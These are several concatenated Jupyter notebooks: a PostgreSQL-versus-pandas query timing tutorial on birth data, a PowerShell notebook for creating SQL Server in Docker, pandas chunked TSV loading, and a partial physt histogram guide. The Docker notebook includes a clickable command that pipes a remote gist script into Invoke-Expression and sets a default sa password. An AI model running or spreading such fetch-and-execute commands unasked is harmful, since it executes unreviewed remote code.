gestation_weeks, COUNT(gestation_weeks) FROM birth_data_table WHERE infant_sex = 'M' GROUP BY gestation_weeks;`" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style>\n", " .dataframe thead tr:only-child th {\n", " text-align: right;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: left;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>index</th>\n", " <th>alcohol_use</th>\n", " <th>anencephaly</th>\n", " <th>attendant</th>\n", " <th>birth_loc_type</th>\n", " <th>birth_month</th>\n", " <th>birth_state</th>\n", " <th>birth_weight</th>\n", " <th>birth_year</th>\n", " <th>cigarette_use</th>\n", " <th>...</th>\n", " <th>mother_state</th>\n", " <th>population</th>\n", " <th>pregnancy_weight</th>\n", " <th>resident</th>\n", " <th>revision</th>\n", " <th>spina_bifida</th>\n", " <th>table</th>\n", " <th>timestamp</th>\n", " <th>uses_tobacco</th>\n", " <th>weight_gain</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>1</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Jan</td>\n", " <td>None</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Intra-State/Territor Non-resident (diff county)</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1325882986</td>\n", " <td>None</td>\n", " <td>49.0</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>2</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Jan</td>\n", " <td>None</td>\n", " <td>2500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1326367089</td>\n", " <td>None</td>\n", " <td>30.0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>13</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Mar</td>\n", " <td>None</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1331645804</td>\n", " <td>None</td>\n", " <td>27.0</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>14</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Mar</td>\n", " <td>None</td>\n", " <td>5000.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1332142969</td>\n", " <td>None</td>\n", " <td>70.0</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>18</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Apr</td>\n", " <td>None</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1334107348</td>\n", " <td>None</td>\n", " <td>10.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>5 rows × 38 columns</p>\n", "</div>" ], "text/plain": [ " index alcohol_use anencephaly attendant birth_loc_type birth_month \\\n", "0 1 None NaN MD NaN Jan \n", "1 2 None NaN MD NaN Jan \n", "2 13 None NaN MD NaN Mar \n", "3 14 None NaN MD NaN Mar \n", "4 18 None NaN MD NaN Apr \n", "\n", " birth_state birth_weight birth_year cigarette_use ... \\\n", "0 None 4500.0 2012 None ... \n", "1 None 2500.0 2012 None ... \n", "2 None 4500.0 2012 None ... \n", "3 None 5000.0 2012 None ... \n", "4 None 4500.0 2012 None ... \n", "\n", " mother_state population pregnancy_weight \\\n", "0 None None None \n", "1 None None None \n", "2 None None None \n", "3 None None None \n", "4 None None None \n", "\n", " resident revision spina_bifida \\\n", "0 Intra-State/Territor Non-resident (diff county) S NaN \n", "1 Resident S NaN \n", "2 Resident S NaN \n", "3 Resident S NaN \n", "4 Resident S NaN \n", "\n", " table timestamp uses_tobacco weight_gain \n", "0 births12.txt 1325882986 None 49.0 \n", "1 births12.txt 1326367089 None 30.0 \n", "2 births12.txt 1331645804 None 27.0 \n", "3 births12.txt 1332142969 None 70.0 \n", "4 births12.txt 1334107348 None 10.0 \n", "\n", "[5 rows x 38 columns]" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "## Now try the same queries, but in python!\n", "\n", "# connect:\n", "con = None\n", "con = psycopg2.connect(database = dbname, user = username)\n", "\n", "# query:\n", "sql_query = \"\"\"\n", "SELECT * FROM birth_data_table WHERE delivery_method='Cesarean';\n", "\"\"\"\n", "birth_data_from_sql = pd.read_sql_query(sql_query,con)\n", "\n", "birth_data_from_sql.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Is reading from a SQL database faster than from a Pandas dataframe? Probably not for the amount of data you can fit on your machine." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.04458189010620117\n" ] }, { "data": { "text/html": [ "<div>\n", "<style>\n", " .dataframe thead tr:only-child th {\n", " text-align: right;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: left;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>index</th>\n", " <th>alcohol_use</th>\n", " <th>anencephaly</th>\n", " <th>attendant</th>\n", " <th>birth_loc_type</th>\n", " <th>birth_month</th>\n", " <th>birth_state</th>\n", " <th>birth_weight</th>\n", " <th>birth_year</th>\n", " <th>cigarette_use</th>\n", " <th>...</th>\n", " <th>mother_state</th>\n", " <th>population</th>\n", " <th>pregnancy_weight</th>\n", " <th>resident</th>\n", " <th>revision</th>\n", " <th>spina_bifida</th>\n", " <th>table</th>\n", " <th>timestamp</th>\n", " <th>uses_tobacco</th>\n", " <th>weight_gain</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>1</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Jan</td>\n", " <td>None</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Intra-State/Territor Non-resident (diff county)</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1325882986</td>\n", " <td>None</td>\n", " <td>49.0</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>2</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Jan</td>\n", " <td>None</td>\n", " <td>2500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1326367089</td>\n", " <td>None</td>\n", " <td>30.0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>13</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Mar</td>\n", " <td>None</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1331645804</td>\n", " <td>None</td>\n", " <td>27.0</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>14</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Mar</td>\n", " <td>None</td>\n", " <td>5000.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1332142969</td>\n", " <td>None</td>\n", " <td>70.0</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>18</td>\n", " <td>None</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Apr</td>\n", " <td>None</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>None</td>\n", " <td>...</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>None</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1334107348</td>\n", " <td>None</td>\n", " <td>10.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>5 rows × 38 columns</p>\n", "</div>" ], "text/plain": [ " index alcohol_use anencephaly attendant birth_loc_type birth_month \\\n", "0 1 None NaN MD NaN Jan \n", "1 2 None NaN MD NaN Jan \n", "2 13 None NaN MD NaN Mar \n", "3 14 None NaN MD NaN Mar \n", "4 18 None NaN MD NaN Apr \n", "\n", " birth_state birth_weight birth_year cigarette_use ... \\\n", "0 None 4500.0 2012 None ... \n", "1 None 2500.0 2012 None ... \n", "2 None 4500.0 2012 None ... \n", "3 None 5000.0 2012 None ... \n", "4 None 4500.0 2012 None ... \n", "\n", " mother_state population pregnancy_weight \\\n", "0 None None None \n", "1 None None None \n", "2 None None None \n", "3 None None None \n", "4 None None None \n", "\n", " resident revision spina_bifida \\\n", "0 Intra-State/Territor Non-resident (diff county) S NaN \n", "1 Resident S NaN \n", "2 Resident S NaN \n", "3 Resident S NaN \n", "4 Resident S NaN \n", "\n", " table timestamp uses_tobacco weight_gain \n", "0 births12.txt 1325882986 None 49.0 \n", "1 births12.txt 1326367089 None 30.0 \n", "2 births12.txt 1331645804 None 27.0 \n", "3 births12.txt 1332142969 None 70.0 \n", "4 births12.txt 1334107348 None 10.0 \n", "\n", "[5 rows x 38 columns]" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "import time\n", "\n", "t0 = time.time()\n", "birth_data_from_sql = pd.read_sql_query(sql_query,con)\n", "t1 = time.time()\n", "total = t1-t0\n", "print (total)\n", "\n", "birth_data_from_sql.head()" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.006116151809692383\n" ] }, { "data": { "text/html": [ "<div>\n", "<style>\n", " .dataframe thead tr:only-child th {\n", " text-align: right;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: left;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>alcohol_use</th>\n", " <th>anencephaly</th>\n", " <th>attendant</th>\n", " <th>birth_loc_type</th>\n", " <th>birth_month</th>\n", " <th>birth_state</th>\n", " <th>birth_weight</th>\n", " <th>birth_year</th>\n", " <th>cigarette_use</th>\n", " <th>cigarettes_per_day</th>\n", " <th>...</th>\n", " <th>mother_state</th>\n", " <th>population</th>\n", " <th>pregnancy_weight</th>\n", " <th>resident</th>\n", " <th>revision</th>\n", " <th>spina_bifida</th>\n", " <th>table</th>\n", " <th>timestamp</th>\n", " <th>uses_tobacco</th>\n", " <th>weight_gain</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>1</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Jan</td>\n", " <td>NaN</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>...</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>Intra-State/Territor Non-resident (diff county)</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1325882986</td>\n", " <td>NaN</td>\n", " <td>49.0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Jan</td>\n", " <td>NaN</td>\n", " <td>2500.0</td>\n", " <td>2012</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>...</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1326367089</td>\n", " <td>NaN</td>\n", " <td>30.0</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Mar</td>\n", " <td>NaN</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>...</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1331645804</td>\n", " <td>NaN</td>\n", " <td>27.0</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Mar</td>\n", " <td>NaN</td>\n", " <td>5000.0</td>\n", " <td>2012</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>...</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1332142969</td>\n", " <td>NaN</td>\n", " <td>70.0</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>MD</td>\n", " <td>NaN</td>\n", " <td>Apr</td>\n", " <td>NaN</td>\n", " <td>4500.0</td>\n", " <td>2012</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>...</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>Resident</td>\n", " <td>S</td>\n", " <td>NaN</td>\n", " <td>births12.txt</td>\n", " <td>1334107348</td>\n", " <td>NaN</td>\n", " <td>10.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>5 rows × 37 columns</p>\n", "</div>" ], "text/plain": [ " alcohol_use anencephaly attendant birth_loc_type birth_month \\\n", "1 NaN NaN MD NaN Jan \n", "2 NaN NaN MD NaN Jan \n", "13 NaN NaN MD NaN Mar \n", "14 NaN NaN MD NaN Mar \n", "18 NaN NaN MD NaN Apr \n", "\n", " birth_state birth_weight birth_year cigarette_use cigarettes_per_day \\\n", "1 NaN 4500.0 2012 NaN NaN \n", "2 NaN 2500.0 2012 NaN NaN \n", "13 NaN 4500.0 2012 NaN NaN \n", "14 NaN 5000.0 2012 NaN NaN \n", "18 NaN 4500.0 2012 NaN NaN \n", "\n", " ... mother_state population pregnancy_weight \\\n", "1 ... NaN NaN NaN \n", "2 ... NaN NaN NaN \n", "13 ... NaN NaN NaN \n", "14 ... NaN NaN NaN \n", "18 ... NaN NaN NaN \n", "\n", " resident revision spina_bifida \\\n", "1 Intra-State/Territor Non-resident (diff county) S NaN \n", "2 Resident S NaN \n", "13 Resident S NaN \n", "14 Resident S NaN \n", "18 Resident S NaN \n", "\n", " table timestamp uses_tobacco weight_gain \n", "1 births12.txt 1325882986 NaN 49.0 \n", "2 births12.txt 1326367089 NaN 30.0 \n", "13 births12.txt 1331645804 NaN 27.0 \n", "14 births12.txt 1332142969 NaN 70.0 \n", "18 births12.txt 1334107348 NaN 10.0 \n", "\n", "[5 rows x 37 columns]" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "birth_data = pd.DataFrame.from_csv('births2012_downsampled.csv')\n", "\n", "t0 = time.time()\n", "birth_data=birth_data.loc[(birth_data['delivery_method'] == 'Cesarean')]\n", "t1 = time.time()\n", "total = t1-t0\n", "print (total)\n", "\n", "birth_data.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**This should have given you a quick taste of how to use SQLALchemy, as well as how to run a few SQL queries both at the command line and in python. You can see that pandas is actually a little faster than PostgreSQL here - that is because of the extra time it takes to communicate between python and PostGreSQL. But as your database gets bigger (and certainly when it's too large to store in memory), working with relational databases becomes a necessity.**\n" ] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.1" } }, "nbformat": 4, "nbformat_minor": 1 }

gpl-3.0

PowerShell/vscode-powershell

docs/azure_data_studio/Server-Creation-With-Docker-Notebook.ipynb

2

2501

{ "metadata": { "kernelspec": { "name": "SQL", "display_name": "SQL", "language": "sql" }, "language_info": { "name": "sql", "version": "" } }, "nbformat_minor": 2, "nbformat": 4, "cells": [ { "cell_type": "markdown", "source": "## Creating a SQL Server in a Linux Container [Using PowerShell]\r\n\r\n|Module|Link|\r\n|------------|---------------------------------------|\r\n|SqlServer|https://www.powershellgallery.com/packages/SqlServer/|\r\n|ReportingServicesTools|https://www.powershellgallery.com/packages/ReportingServicesTools/|\r\n|MicrosoftPowerBIMgmt|https://www.powershellgallery.com/packages/MicrosoftPowerBIMgmt/|\r\n|SqlServerDsc|https://www.powershellgallery.com/packages/SqlServerDsc/|\r\n|Az.Sql|https://www.powershellgallery.com/packages/Az.Sql/|\r\n\r\n<pre>\r\nIf you don't already have a terminal window open, you need to first: <a href=\"command:workbench.action.terminal.focus\">Open the terminal</a> \r\n</pre>\r\n<pre> \r\nYou probably don't have this directory on your machine, so run this: <a href=\"command:workbench.action.terminal.sendSequence?%7B%22text%22%3A%22mkdir%20C:%2FSQLData%2FDocker%2FSQLDev66%22%7D\">mkdir C:/SQLData/Docker/SQLDev63 </a>\r\n</pre>\r\n<pre>\r\n<a href=\"command:workbench.action.terminal.sendSequence?%7B%22text%22%3A%22Invoke-Expression%20(Invoke-WebRequest%20https:%2F%2Fgist.githubusercontent.com%2FSQLvariant%2F63193826e2352f2a8c1c85f63c724501%2Fraw%2Fd424e4127ceda141cc091aa7cfba7a11e410143e/DockerDesktop-with-SQL-PowerShell-63.ps1)%22%7D\">Spin up a Docker Container with Invoke-Expression (Invoke-WebRequest https://gist.githubusercontent.com/SQLvariant) </a> Just click enter after the command is placed into the terminal. Just click enter after the command is placed into the terminal. When prompted, the sa password is Test1234, but you can obviously change this.\r\n</pre>\r\n<pre> \r\nView the PowerShell Script with <a href=\"command:workbench.action.terminal.sendSequence?%7B%22text%22%3A%22PSEdit%20C:%2FSQLData%2FDocker-Desktop-with-SQL-PowerShell-63.ps1%22%7D\">PSEdit </a>\r\n</pre>\r\n", "metadata": {} }, { "cell_type": "code", "source": "SELECT name, create_date\r\nFROM sys.databases", "metadata": {}, "outputs": [], "execution_count": 0 } ] }

mit

philmui/datascience2016fall

lecture05.viz.data.shaping/lecture05.joining.ipynb

2

6995

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Pandas for managing Datasets" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import pandas as pd" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Create an empty dataframe for adding in datasets" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "Empty DataFrame\n", "Columns: []\n", "Index: []" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df = pd.DataFrame()\n", "df" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Importing a large dataset in chunks of 100 bytes" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": true }, "outputs": [], "source": [ "for chunk in pd.read_csv('data/ext_lt_invcur.tsv', sep='\\t', chunksize=100):\n", " df = pd.concat([df, chunk])" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>partner,currency,stk_flow,sitc06,geo\\time</th>\n", " <th>2014</th>\n", " <th>2012</th>\n", " <th>2010</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>EXT_EU,EUR,EXP,SITC0-4A,AT</td>\n", " <td>61.9</td>\n", " <td>65.6</td>\n", " <td>67</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>EXT_EU,EUR,EXP,SITC0-4A,BE</td>\n", " <td>53.8</td>\n", " <td>85.8</td>\n", " <td>92.4</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>EXT_EU,EUR,EXP,SITC0-4A,BG</td>\n", " <td>57.0</td>\n", " <td>46.2</td>\n", " <td>54.1</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>EXT_EU,EUR,EXP,SITC0-4A,CY</td>\n", " <td>79.1</td>\n", " <td>60.7</td>\n", " <td>61.4</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>EXT_EU,EUR,EXP,SITC0-4A,CZ</td>\n", " <td>58.3</td>\n", " <td>66.7</td>\n", " <td>59.1</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " partner,currency,stk_flow,sitc06,geo\\time 2014 2012 2010 \n", "0 EXT_EU,EUR,EXP,SITC0-4A,AT 61.9 65.6 67 \n", "1 EXT_EU,EUR,EXP,SITC0-4A,BE 53.8 85.8 92.4 \n", "2 EXT_EU,EUR,EXP,SITC0-4A,BG 57.0 46.2 54.1 \n", "3 EXT_EU,EUR,EXP,SITC0-4A,CY 79.1 60.7 61.4 \n", "4 EXT_EU,EUR,EXP,SITC0-4A,CZ 58.3 66.7 59.1 " ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Notice that column 2 looks like can be further transformed during the loading phase." ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " partner currency stk_flow sitc06 geo 2014 2012 2010 \n", "0 EXT_EU EUR EXP SITC0-4A AT 61.9 65.6 67 \n", "1 EXT_EU EUR EXP SITC0-4A BE 53.8 85.8 92.4 \n", "2 EXT_EU EUR EXP SITC0-4A BG 57.0 46.2 54.1 \n", "3 EXT_EU EUR EXP SITC0-4A CY 79.1 60.7 61.4 \n", "4 EXT_EU EUR EXP SITC0-4A CZ 58.3 66.7 59.1 \n" ] } ], "source": [ "for chunk in pd.read_csv('data/ext_lt_invcur.tsv', sep='\\t', chunksize=100):\n", " # separate out all the data rows for column index 0\n", " data_rows = [row for row in chunk.ix[:,0].str.split(',')]\n", " \n", " # show me column indexed 0 and split on \",\"\n", " data_cols = [col.split('\\\\')[0] for col in chunk.columns[0].split(',')]\n", " \n", " # create new data frame with these new rows and columns\n", " clean_df = pd.DataFrame(data_rows, columns=data_cols)\n", " new_df = pd.concat([clean_df, chunk.drop(chunk.columns[0], axis=1)], \n", " axis=1)\n", " \n", " # sanity check for top 5 rows\n", " print new_df.head()\n", " break\n", " df = pd.concat([df, chunk])" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": true }, "outputs": [], "source": [ "for chunk in pd.read_csv('data/ext_lt_invcur.tsv', sep='\\t', chunksize=100):\n", " # separate out all the data rows for column index 0\n", " data_rows = [row for row in chunk.ix[:,0].str.split(',')]\n", " \n", " # show me column indexed 0 and split on \",\"\n", " data_cols = [col.split('\\\\')[0] for col in chunk.columns[0].split(',')]\n", " \n", " # create new data frame with these new rows and columns\n", " clean_df = pd.DataFrame(data_rows, columns=data_cols)\n", " new_df = pd.concat([clean_df, chunk.drop(chunk.columns[0], axis=1)], \n", " axis=1)\n", " \n", " df = pd.concat([df, new_df])" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

janpipek/physt

doc/2d_histograms.ipynb

1

445792

{ "cells": [ { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "# 2D Histograms in physt" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [], "source": [ "# Necessary import evil\n", "import physt\n", "from physt import h1, h2, histogramdd\n", "import numpy as np\n", "import matplotlib.pyplot as plt\n", "\n", "np.random.seed(42)" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [], "source": [ "# Some data\n", "x = np.random.normal(100, 1, 1000)\n", "y = np.random.normal(10, 10, 1000)" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "Histogram2D('Some histogram', bins=(8, 4), total=1000, dtype=int64)" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Create a simple histogram\n", "histogram = h2(x, y, [8, 4], name=\"Some histogram\", axis_names=[\"x\", \"y\"])\n", "histogram" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "array([[ 0, 2, 4, 0],\n", " [ 3, 26, 20, 5],\n", " [ 17, 78, 104, 10],\n", " [ 26, 163, 147, 17],\n", " [ 17, 136, 96, 17],\n", " [ 6, 41, 38, 6],\n", " [ 1, 11, 7, 0],\n", " [ 0, 1, 0, 1]])" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Frequencies are a 2D-array\n", "histogram.frequencies" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Multidimensional binning\n", "\n", "In most cases, binning methods that apply for 1D histograms, can be used also in higher dimensions. In such cases, each parameter can be either scalar (applies to all dimensions) or a list/tuple with independent values for each dimension. This also applies for *range* that has to be list/tuple of tuples." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[array([ 96., 98., 100., 102., 104.]),\n", " array([-20., -10., 0., 10., 20., 30., 40., 50.])]" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": 